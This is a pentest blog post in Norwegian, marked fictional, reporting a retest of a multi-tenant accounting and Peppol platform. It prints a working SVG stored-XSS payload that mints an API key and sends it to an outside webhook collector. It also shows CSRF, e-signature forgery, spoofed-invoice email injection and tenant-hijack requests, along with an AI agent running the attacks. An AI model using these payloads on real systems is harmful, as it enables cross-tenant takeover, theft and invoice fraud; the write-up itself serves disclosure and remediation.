---
title: "Kjernen holdt, eiendommen ikke"
date: 2026-07-24
description: "Retesten av Kvittring AS gikk bredere enn første runde. API-isolasjonen holdt — men en lagret XSS i et SVG og en CSRF-bar API-nøkkel åpnet full kontroll på tvers av tenanter."
tags: ["pentest", "cross-tenant", "xss", "csrf", "peppol", "security"]
url: https://erik.no/blogg/2026-07-24-kjernen-holdt-eiendommen-ikke
---

<Callout type="info">
  **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
  innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
  er tilfeldig. Detaljer fra reelle oppdrag er sanert.
</Callout>

Tre uker etter at jeg leverte den første rapporten til Kvittring AS (`kvittringas.no`), satt IT-sjefen Jonas Bakke (`jonas.bakke@kvittringas.no`) med et spørsmål jeg ikke kunne svare ordentlig på fra runde én: *hva med alt det andre?* Første gang testet jeg API-et på `app.kvittringas.no` og konkluderte med at isolasjonen holdt — [det skrev jeg om her](/blogg/2026-07-07-isolasjon-holdt-autorisasjon-sprakk). Kjernen var solid. Denne retesten gikk utover kjernen og ut over hele eiendommen: web-appen, Peppol-infrastrukturen, fem e-postmottak, markedsdomenet. Kjernen holdt fortsatt. Eiendommen rundt den gjorde det ikke.

Resultatet ble én Kritisk og tretten Høye. Den kritiske er en fungerende kontroll på tvers av tenanter — en lagret XSS i et opplastet SVG, servert inline fra app-origen uten CSP, kjedet med en CSRF-bar utstedelse av API-nøkkel. En bruker i én tenant kan stjele en persistent API-nøkkel som tilhører en bruker i en annen tenant, med ett klikk. For en regnskapsplattform der regnskapsførere sitter med tilgang til mange klienttenanter, er det en enkelt-klikks-sti gjennom hele kundebasen.

## Kontekst: hvorfor en retest, og hvorfor bredere

Første oppdrag var begrenset til REST-API-et. Konklusjonen da: tenant-isolasjon i `/api/*` holdt på alle stier jeg testet; det som sprakk, var API-nøkkel-scope-håndhevelse (Høy), uautentisert e-postmottak (Medium) og org.nr-enumerasjon (Medium). Det var en ærlig rapport — kjernen var godt bygget.

Retesten hadde et bredere scope: *alt klienten eier*, inkludert `app.kvittringas.no` (multi-tenant regnskap/Peppol SaaS, 198 stier / 283 operasjoner), Peppol-infrastrukturen `smp.kvittringas.no` + `as4.kvittringas.no` med sine `-test`-tvillinger, fem uautentiserte e-postmottak (`ea`, `receipt`, `manual`, `expense`, `income`.`kvittringas.no`), og markedsdomenet `kvittringas.dk`. Klienten ga meg lov til å self-provisionere kontoer og throwaway-tenanter for trygg testing.

Jeg jobber slikt med AI i loopen: en autonom, operatør-styrt motor gjør recon, kartlegger endepunkter, kjører skript og prøver angrepsvektorer. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, den endelige vurderingen. Det betyr at jeg får plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. Denne rapporten dekker alt som ble bekreftet og dobbeltverifisert frem til runde 81, da testingen ble satt på pause på grunn av budsjettet.

## Det som holdt — før det som ikke holdt

Før det dårlige: kjernen er fortsatt sterk. Jeg vil ikke male et bilde av et system i fritt fall, for det er ikke det dette er.

- **`/api/*` tenant-isolasjon** holdt på *alle* stier jeg testet, unntatt to `/api/leads/person-*`-endepunkter. Forged `X-Tenant-Id` for en tenant man ikke er medlem av → `401`. Cross-tenant objektlesing → `404`/tom.
- **JWT/session-forging** ble grundig slått ned: ES256, `kid`-pinned, `alg:none` (fire kodinger), HS256 med ni svake secrets, `jwk`/`jku`/`x5u`/`kid`-traversal, ES256→HS256-forvirring — alle avvist.
- **SQL-injeksjon** ble ikke funnet (Spring typed binding, rene 400 type-conversion-feil).
- **Spring Actuator** herdet på prod og test — `/actuator/health` offentlig-mini, resten gjetet (`302`/`403`). Ingen heap-dump.
- **XXE** via dokument/PDF-pipelinen ikke utnyttbar; AS4- og mottaksparsere nekter `DOCTYPE`.
- **Ingen server-fotfeste** (RCE/shell), ingen database-tilgang, ingen origin-IP-lekkasje. Appen sender mail via Gmail-API, så mail-headere lekker ikke origin. Originen sitter bak en godt konfigurert Cloudflare.

Det er viktig: eksponeringen her er i **autorisasjons-/forretningslogikk-/uautentisert-mottak-laget**, ikke i minnesikkerhet eller infrastruktur. Det endrer hva fiksene ser ut.

## F-01 — Kritisk: kontroll på tvers av tenanter via SVG-XSS + CSRF-bar API-nøkkel

Dette er funnet som eskalerte retesten fra "flere høye" til "kritisk". Det er en kjede av tre separate svakheter som hver for seg er Høye, men som satt sammen blir utholden kontroll på tvers av tenanter.

Kjeden: (1) opplastet SVG serveres inline, same-origin, som `image/svg+xml`, uten CSP — lagret XSS; (2) htmx-mutasjonsruter autoriserer kun med den SameSite-løse `token`-cookien — ingen CSRF-token, ingen Origin-sjekk; (3) `/dev/token/create` utsteder en persistent tenant-API-nøkkel og renderer den inn i en full HTML-respons som et same-origin-skript kan lese. Når et offer (i en hvilken som helst tenant) åpner én lenke på den ekte `app.kvittringas.no`-origen, kjører angriperens skript i origenen, rider offerets sesjon for å utstede en API-nøkkel i offerets tenant, leser nøkkelen ut av responsen, og beacon-er den ut. Fordi en API-nøkkel ikke er en sesjon, overlever tilgangen offerets utlogging og passordtilbakestilling.

### PoC / Reproduksjon

**Forutsetninger:** to self-provisionerte test-tenanter — angriper (tenant 2704, sub 2588) og offer (tenant 2702, sub 2586), begge throwaway-kontoer på engangs-adresser. Offeret har en gyldig httpOnly `token`-sesjon i en ekte Chrome-kontekst. En OOB-collector (`webhook.site/11111111-1111-4111-8111-111111111111`) er selv-testet live før bruk. Alt kjøres mot engine-eide canary-tenanter — ingen ekte kundetenant berøres.

1. **Opplasting (angriper, tenant 2704).** En agent genererte payload-SVG-en. Lærdom fra en tidligere runde: skriptet må være CDATA-innpakket, ellers knekker en bart `&` XML-parsen. Jeg satte scope og lot agenten kjøre opplastingen:

```http
POST /api/attachments HTTP/1.1
Host: app.kvittringas.no
Cookie: token=<REDACTED>
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="invoice-scan.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" width="300" height="120">
  <text x="10" y="60">invoice-scan.svg</text>
  <script type="application/javascript"><![CDATA[
  var C = "https://webhook.site/11111111-1111-4111-8111-111111111111";
  fetch("/dev/token/create", { method: "POST", credentials: "include" })
    .then(function (r) { return r.text(); })
    .then(function (t) {
      var k = t.match(/API-n[^>]*value="([^"]+)"/);
      var ti = t.match(/<title>([^<]*)<\/title>/);
      fetch(C + "/mint?d=" + encodeURIComponent(
        (k ? k[1] : "NOKEY") + "~" + (ti ? ti[1] : "NOTITLE")));
    });
  ]]></script>
</svg>
------boundary--
```

```http
HTTP/1.1 201 Created
Content-Type: application/json

{"id":18406,"filename":"invoice-scan.svg","contentType":"image/svg+xml"}
```

2. **Levering (same-origin, ingen CSP, uautentisert via delt cache).** Agenten hentet URL-en — først med angriperens cookie, så med ingen cookie i det hele tatt:

```http
GET /attachments/18406/view/invoice-scan.svg HTTP/1.1
Host: app.kvittringas.no
```

```http
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Disposition: inline
Cache-Control: public, max-age=31536000, immutable
CF-Cache-Status: HIT
Content-Security-Policy: (ingen)
```

Begge forespørslene — med cookie og uten — returnerte byte-identisk kropp (samme sha1). Skriptet er hostet på den ekte `app.kvittringas.no`-origen og nårbart for hvem som helst med URL-en. `Cache-Control: public, immutable` (se F-13 under) er grunnen til at den uautentiserte hentingen går gjennom — Cloudflare leverer fra delt edge-cache.

3. **Kjøring som offer.** Jeg kjørte offerets nettleser manuelt med Playwright-drevet Chrome, med offerets ekte `token`-cookie injisert i konteksten, mot angriperens lenke. Nettleseren rapporterte `STATUS: 200`, `CT: image/svg+xml`, `CSP: (none)`. Skriptet kjørte i `https://app.kvittringas.no`-origen. `document.cookie.length == 0` — cookien er HttpOnly, så *cookistyveri er ikke vektoren; sesjonsriding er*. Same-origin `fetch("/dev/token/create", {credentials:"include"})` returnerte `200`; responsen inneholdt `<wa-input … label="API-nøkkel" value="u6jIcLVG…yM5CioU">` og `<title>Fjellheim Mh As | Tenant API Key | Kvittring</title>`. Et same-origin-skript kan lese det — en blind CSRF-form kunne ikke.

4. **Eksfiltrasjon.** Collector mottok rå nøkkel i to uavhengige pass — pass 1 med `fetch()`, pass 2 med `new Image().src=…` (ingen CORS-restriksjon, den virkelige kanalen).

5. **Replay = overtakelse.** Fra en ren klient, ingen cookie, med den stjalne nøkkelen:

```http
GET /api/me HTTP/1.1
Host: app.kvittringas.no
Authorization: Bearer u6jIcLVG…yM5CioU
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{"email":"<canary-offer>@<oob>","name":"Regnskap Test"}
```

Angriperen er nå autentisert som offeret, fra en ren klient, uten sesjonscookie. Med samme nøkkel mot `X-Tenant-Id: 2702`: `/api/invoices` → 5 poster, `/api/customers` → 2 poster, `/api/company-banks` → 1 post (bank id 1393, konto `NO98****11`). Konfidensiell finansiell- og bankmasterdata fra en annen tenant, lest av angriperen.

6. **Negativ kontroll.** Samme URL, cache allerede varm, men nettleser *uten* offerets cookie: mint-ruten returnerte `302` (login), og payload beacon-er `NOKEY~Login | Kvittring`. Minten lykkes kun mens offerets egen sesjon rider den. Rent differensial — det er sesjonsriding, ikke noe annet.

Kjeden ble reprodusert i to uavhengige fulle pass (fresh opplastinger, fresh nettleserkontekster, ulike attachment-ID-er 18406 og 18407) og med to distinkte metoder (Playwright+`curl`, og `Image()`-beacon + Python `urllib`-replay mot en annen dataklasse). Funn: <Severity level="critical" />.

**Hvorfor dette er distinkt fra foreldrene.** XSS-funnet alene beviste skriptkjøring i origenen, men stjal ingen credential og nådde ingen annen tenant. CSRF-funnet alene beviste blinde skriv — en cross-site form kan ikke *lese* responsen, så den kunne aldri hente den utstedte nøkkelen. XSS-en gir den same-origin-lesen som gjør CSRF til credential-tyveri. Og fordi en API-nøkkel er persistent, er dette kontrollovertakelse, ikke et forbigående skript.

### Mitigering

Røttene er tre, og det er nummer én som dreper kjeden:

1. **Aldri servér brukeropplastet innhold inline fra app-origen.** Flytt `/attachments/{id}/view/*` til en cookie-løs sandboks-origen (`usercontent.kvittringas.no`), eller tving `Content-Disposition: attachment` + `Content-Security-Policy: default-src 'none'; sandbox` + `X-Content-Type-Options: nosniff`. Saner/transkode SVG (strip `<script>`, event handlers, ekstern `xlink:href`). Søsterruten `/api/attachments/{id}/embedded-files` gjør allerede dette riktig — kopier det.
2. **`Cache-Control: private, no-store`** på alle autentiserte dokumentruter — og **tøm eksisterende Cloudflare-cache**. De cachede oppføringene lever i opptil et år under `immutable, max-age=31536000` og kan ikke tilbakekalles av en app-side fiks alene.
3. **Anti-CSRF-token + server-side Origin/Referer-validering** på alle cookie-autentiserte mutasjoner, og `SameSite=Lax; Secure` på `token`-cookien.
4. **Step-up re-autentisering for API-nøkkel-utstedelse**, og aldri render en fersk nøkkel inn i en full HTML-respons et same-origin-skript kan lese.

## F-13 — Høy: konfidensielle vedlegg i Cloudflare delt edge-cache

Dette er halve leveringsmekanismen i F-01, og fortjener sin egen gjennomgang fordi det er en uavhengig brudd som rammer alle autentiserte dokumenter, ikke bare SVG-XSS-en.

`GET /attachments/{id}/view/{filename}` serverer brukeropplastede vedlegg (fakturaer, kvitteringer, kontoutskrifter, kontrakter) med `Cache-Control: public, max-age=31536000, immutable`. Bak Cloudflare betyr det: når den legitime eieren åpner dokumentet (cache MISS varmer kanten), leveres **samme URL til enhver etterfølgende forespører — uautentisert eller en annen tenant — via en cache HIT**, i opptil et år, forbi originens ellers korrekte auth- og tenant-sjekker.

**PoC (sanert):** Eier-tenant 2702 lastet opp en canary-PDF (id 18349) med en hemmelig markør. Eier-henting = `MISS`, deretter `HIT`. Så uautentisert `GET` (ingen cookie):

```http
GET /attachments/18349/view/invoice.pdf HTTP/1.1
Host: app.kvittringas.no
```

```http
HTTP/1.1 200 OK
CF-Cache-Status: HIT
Cache-Control: public, max-age=31536000, immutable

%PDF-1.4 …<HEMMELIG MARKØR>…
```

Markør hentet, reprodusert med to uavhengige HTTP-stakker (`curl`, Python `urllib`) og med en cross-tenant-cookie (2704).

**Negativ kontroll** — samme forespørsel med en unik `?zz=<rand>` cache-buster (tvinger origin): uautentisert → `302` login; cross-tenant → `404`. Originens auth og tenant-scope er **intakte** — lekkasjen er 100 % `public`-direktivet. Det er det som gjør blokken til et bevis og ikke en påstand: steg 2 alene så ut som et origin-auth-brudd; steg 3 viste at originen holder, og at skylden ligger i cachen. <Severity level="high" />.

Sekvensielle heltalls-ID-er (18347, 18348, 18349 observert) og forutsigbare filnavn (`invoice.pdf`, `faktura.pdf`) gjør det bredt utnyttbart. Fiks: `Cache-Control: private, no-store` på alle autentiserte dokumentruter, signerte korte-TTL-URL-er, og **tøm cachen**.

## F-02 og F-03 — Høy: tenant-provisionering uten eierskapsbevis, og fakturasvindel-as-a-service

Dette er roten til en sammenhengende svindelkjede, og den er verdt å se som én historie.

**F-02:** Enhver anonym throwaway-konto kan opprette en regnskapstenant bundet til en hvilken som helst ekte norsk virksomhet som ikke allerede er kunde — uten BankID, uten Altinn, uten verifisert e-post. `skipRegistryLookup` er *ikke* en bypass (en oppdiktet org gir `503`), men en ekte tredjeparts-org som ikke er kunde går rett gjennom:

```http
POST /tenant/create HTTP/1.1
Host: app.kvittringas.no
Cookie: token=<REDACTED>
Content-Type: application/x-www-form-urlencoded

organizationNumber=998877660&skipRegistryLookup=on
```

```http
HTTP/1.1 200 OK
HX-Redirect: /onboarding
```

Org 998877660 er en ekte tredjepart. `GET /company/information` under angriper-sesjonen renderer ekte Brønnøysund-navn, org-nummer og adresse. Hvis org-en allerede er kunde: `400 "En annen bruker har registrert dette selskapet"` — som også er en enumerasjonsorakel (F-19, re-bekreftet fra forrige oppdrag). <Severity level="high" />.

**F-03** er den våpeniserte formen: fra null, seks API-kall, ingen verifisering/CAPTCHA/rate-limit, produserer angriperen en komplett, ekte Kvittring-faktura utstedt i navnet på en ekte virksomhet angriperen ikke eier, med angriper-kontrollert betalingsblokk, og får Kvittrings egen infrastruktur til å sende den — PDF vedlagt, DMARC-justert og DKIM-signert av `kvittringas.dk` — til en hvilken som helst mottaker, med `Reply-To` satt til angriperen. `pdftotext` av PDF-en viser den etterlignede bedriften og angriperens "ny bankkonto"-URL *inne i betalingsblokken*. For en regnskapsplattform er dette fakturasvindel-as-a-service: en svindler fakturerer ekte selskaper i navnet på andre ekte selskaper, fra en tiltrodd avsender, for vilkårlige beløp, med angriper-bank. Tapene lander på tredjeparter, men svindelen leveres av, merkes som og kan tilskrives Kvittring. <Severity level="high" />.

Røtfiksen for begge: krev eierskapsbevis (BankID/Altinn rapportertrolle — det norske normal for regnskap/e-fakturering) før en tenant kan bindes til en organisasjon, og krev verifisert e-post før noen utgående sending. Det ene kontrollen feller nesten hele kjeden.

## F-06 til F-09 — Høy: uautentisert e-postinjeksjon i fem mottak

Kvittring eksponerer en familie mottaksadresser på formen `<tenant-slug>@<rail>.kvittringas.no`, der slug-en er avledet fra tenantens Brønnøysund-navn — og dermed gjetbar for alle de 259 virksomhetene enumarert via F-21. Alle skinnene deler samme defekt: ingen avsender-autentisering (ingen inbound SPF/DKIM/DMARC håndhevet), ingen per-tenant allowlist, og mailen krysser aldri Cloudflare-HTTP-kanten (så ingen WAF/rate-limit). Backendens AI/OCR-pipeline anrikker deretter angriper-dokumenter til strukturerte, betalingsklare poster i offer-tenantens regnskap.

Jeg testet fire av dem med `swaks` fra en forfalsket avsender-domene. Eksempel, `ea.kvittringas.no` (leverandørfaktura-kø):

```bash
swaks --to holmefjord-prospect@ea.kvittringas.no \
  --from spoofed@<oob> --server route1.mx.cloudflare.net:25 \
  --attach /tmp/forged-invoice.pdf --header "Subject: Faktura"
```

```text
<-- 250 Ok
```

Deretter `GET /api/invoice-reception-documents/6956` (fra en tenant jeg kontrollerte for å bevise parsingen): en fullt parset betalbar — `payment.accountNumber`, IBAN, BIC, auto-matchet leverandør, auto-postet kostlinje, `invoiceTotalAmount 58750.00`. Differensialkontroll: en annen avsender/PDF produserte en annen parset betaler — parsingen følger angriper-innholdet, ikke en mal. Tre andre skinn (`receipt`, `manual`, `expense`) bekreftet med samme mønster — to spoofede sendinger per skin ble til klare utgifts/GL-poster én klikk fra register-og-betal. <Severity level="high" />.

Jeg *ikke* trykket register-og-betal — det ville flyttet penger på den live skinnen, ut av proof-scopepe. `GET` på den ruten returnerte `405`, som bekrefter at det er den tilstandsendrende handlingen. Det er et vurderingskall, ikke en teknisk begrensning.

Røtfiks: behandle hver `*-reception`-adresse som et uautentisert skrive-endepunkt inn i kundebøker og anvend én konsistent policy på tvers av alle skinn — inbound avsender-autentisering + per-tenant allowlist, uguessbare mottakstokens, obligatorisk karantene + menneskelig aksept før et dokument blir en betalbar, og aldri auto-fyll betalingsfelt fra uautentisert mail.

## F-10 — Høy: e-signatur uten signatar-autentisering og uten signert artefakt

Kvittrings avtalemodul produserer norsk-rettslige kontrakter (tjeneste, **arbeids**, leie, kjøp, regnskapsavtaler). Signaturen har **ingen bevisverdi i noen retning**: (1) forfalskning — besittelse av den e-postede URL-en er tilstrekkelig for å binde den navngitte motparten via en anonym cross-origin `POST` med tom kropp; (2) repudiering — den lagrede PDF-en er byte-identisk før og etter "signering", og ingen post binder signaturen til en person/enhet/IP, så enhver genuin signer kan frasi seg enhver avtale.

```http
POST /documents/sign/01901111-1111-7111-8111-111111111111 HTTP/1.1
Host: app.kvittringas.no
Origin: https://evil.example
Content-Length: 0
```

```http
HTTP/1.1 200 OK
Content-Type: text/plain

Signert
```

Ingen cookie. `Origin` fra et annet domene. API bekrefter `signStatus: pending → signed`, `signedAt` satt, attribuert til den forhåndsinnstilte `signerEmail`. Negativ kontroll: avtaler som kun fikk `GET`/`HEAD` ble værende `pending` — kun `POST` signerer (mail-link-skannere auto-signerer ikke). Under eIDAS/det norske regimet møter ikke dette engang en *avansert* elektronisk signatur. Hver utført kontrakt i produktet er kontesterbar. <Severity level="high" />.

## F-14 — Høy: `/api/leads/person-*` eksponerer global person-PII på tvers av tenanter

Hvert annet `/api/*`-endepunkt er strengt tenant-avgrenset. `/api/leads/person-*`-familien er unntaket: den returnerer et *globalt* datasett, identisk på tvers av tenanter — proprietært anriket PII: org-nummer, selskap, by, fullt `personName`, rolle, og en `linkedinSlug` som mapper hver navngitt person til sin LinkedIn-profil. To uavhengige self-signup-kontoer på to ulike tenanter mottok byte-for-byte identisk JSON for samme spørring (`diff` = ingen output). Enumerasjon går via `nextStartOrgNo`. Kontroll som beviser at det er et unntak: samme konto med `X-Tenant-Id` for den andre tenanten mot `/api/customers` → `401` (isolasjon håndhevet alle andre steder). Enhver gratis konto blir et bulk person/rolle/LinkedIn-skrap-API. <Severity level="high" />.

## F-11 — Høy: systemisk CSRF på htmx-mutasjonsruter

Dette er pivoten i F-01, men står også alene. htmx-laget autoriserer tilstandsendende `POST`/`PUT`/`DELETE` med den SameSite-løse `token`-cookien *kun* — ingen anti-CSRF-token, ingen Origin/Referer-validering, ingen `HX-Request`-krav. En innlogget bruker som besøker en angriper-side får vilkårlige tilstandsendringer i sin tenant.

Bekreftet mot en canary-tenant: kontroll (ingen cookie) `POST /dev/token/create` → `302` login (cookien er eneste gate). Med cookie + angriper-`Origin` → `200`, utstedte en *live* tenant-API-nøkkel (verifisert: `Authorization: Bearer <key>` → `/api/me` `200`). Også tvunget: rename/rescope/slett av API-tokens, og `POST /customer` injiserte en kunde (`204`, bekreftet på tilbakelesing). Overflaten kartlagt av agenten inkluderer kunder, leverandører, ansatte, produkter, eiendeler, ordrer, bulk fakturapåminnelser og hele API-token-livssyklusen. <Severity level="high" />.

## Et tilbakeholdt skritt: Peppol-deltaker-registrering

En av de autoriserte men ikke-kjørte handlingene er verdt å nevne som et vurderingskall. F-02 (tenant uten eierskapsbevis) åpner teoretisk en sti til Peppol-deltaker-registrering: registrer en forfalsket tenant som en *live* Peppol-deltaker, og du kan omdirere en ekte tredjeparts innkommende e-fakturaer til deg selv. Det er protokoll-nivå fakturasvindel — verre enn mail-relay-klassen.

Jeg beskrev det teoretisk og **holdt det tilbake**. Å faktisk registrere en spoofed deltaker mot det live Peppol-nettverket ville ha omdirigert ekte tredjeparts e-fakturaer — det krysser linjen fra "bevis mot egen infrastruktur" til "skader en uavhengig tredjepart i produksjon". SOW §9 ekskluderer destruktive handlinger og mass PII, og dette er begge deler i praksis. Det er et eksempel på den biten som krever menneskelig dømmekraft: agenten flagget stien som "reachable og authorized"; jeg leste konsekvensen for en tredjepart og sa nei. Rapporten beskriver muligheten og forklarer hvorfor den ikke ble kjørt.

To andre autoriserte items ble heller ikke fullført og er verdt å være ærlig om: en kontrollert SMP-skrive-proof (blokkert på å skaffe gyldige SMP-admin-credentials — F-23/F-24 etablerte enumerasjons- og gjette-overflaten, men ingen passord ble knekt), og XXE via Peppol-nettverkets EHF-sti (kun nåbar over Peppol-nettverket, ikke den offentlige API-en; anbefalt for en data-seeded/Peppol-tilkoblet retest).

## Blindveier som holdt

Like lærerig er det som *så* ut som funn og ble forkastet.

- **Origin-IP-avsløring via mail-headere.** En agent foreslo å avlede origin-IP fra `Received`-headere i utgående mail. Jeg lot agenten analysere rå kilde fra en tester-kontrollert innboks: `Received: from <REDACTED> named unknown by gmailapi.google.com`. Appen sender via Gmail-API, så headere lekker ikke origin. Bekreftet på tvers av faktura-, invitasjons- og sign-forespørsel-stier. Originen er ikke eksternt gjenopprettbar via mail-vektorene — det er et positivt, og det lukket en hel angrepsklasse.
- **`alg:none` og HS-confusion.** Agenten genererte fem kodinger av `alg:none` og ES256→HS256-forvirring med den gjenopprettede P-256 offentlige nøkkelen. Alle avvist. Jeg bryter det ut her fordi det er fristende å anta at en ES256-JWT med en `kid`-pin har en forvirringsvei — den hadde det ikke.
- **AS4 XXE.** AS4-mottaket returnerer verbose Java-feil og reflekterer innsendt XML (F-29, Low), så det så ut som en XXE-kandidat. Parseren nekter `DOCTYPE`. Ikke utnyttbart — rapportert som en info-nivå recon-lekkasje, ikke et XXE.

## Hva jeg lærte

- **"Kjernen holdt" er ikke "eiendommen holdt."** Første rapport konkluderte ærlig at API-isolasjonen var solid. Det var sant — og ufullstendig. Bredden i scope avdekket at eksponeringen flyttet seg til lagene rundt kjernen: opplasting, caching, e-postmottak, forretningslogikk. En retest som bare re-testet API-et ville bekreftet kjernen og gått glipp av det kritiske.
- **Tre røtter kollapser mest av rapporten.** (1) Servér aldri brukeropplastet innhold inline fra app-origen + tøm cachen; (2) krev eierskapsbevis ved tenant-provisionering og verifisert e-post ved signup; (3) én konsistent policy på tvers av alle `*-reception`-skinn. Fiks disse tre, og F-01 gjennom F-09 kollapser.
- **En `200` er ikke et funn før en konto som ikke eier objektet får den samme.** Den negative kontrollen i F-13 (cache-buster tvinger origin → `302`/`404`) er det som beviste at skylden lå i cachen, ikke i originen. Uten den var det bare "et endepunkt returnerte 200."
- **XSS + CSRF = credential-tyveri, ikke bare skriptkjøring.** CSRF alene er blindt — det kan ikke lese responsen. XSS gir same-origin-lesen som gjør CSRF til utholden kontrollovertakelse. Komposisjonen er alvorlighetsgraden, ikke komponentene hver for seg.
- **Tilbakeholdte handlinger er en del av arbeidet.** Peppol-deltaker-registreringen var autorisert og "reachable" og ble ikke kjørt, fordi konsekvensen for en ekte tredjepart krysset en etisk linje SOW §9 trekker. Å beskrive muligheten teoretisk og forklare nei-et er mer verdt enn å ha kjørt det.

## Veien videre

Kvittring får én retest til per SOW når fiksene er på plass. Det jeg vil se først: at `Cache-Control: private, no-store` er satt på alle autentiserte dokumentruter *og* at den eksisterende Cloudflare-cachen er tømt — en app-side fiks alene etterlater opptil ett år gamle cachede konfidensielle dokumenter. Deretter eierskapsbevis ved tenant-provisionering; det er den billigste enkelkontrollen som stumper svindelkjeden. Mønsteret — retest som går bredere enn originalen og finner at lagene rundt en solid kjerne var det svake — er det samme jeg så i [retesten av MSP-portalen](/blogg/2026-07-11-alt-er-fikset-sa-de-retest-av-en-msp-portal): "alt er fikset" på den overflaten man testet, mens eiendommen under hadde egne hull. Det er grunnen jeg tar bredde i retester alvorlig — ikke som en bonus, men som selve punktet.
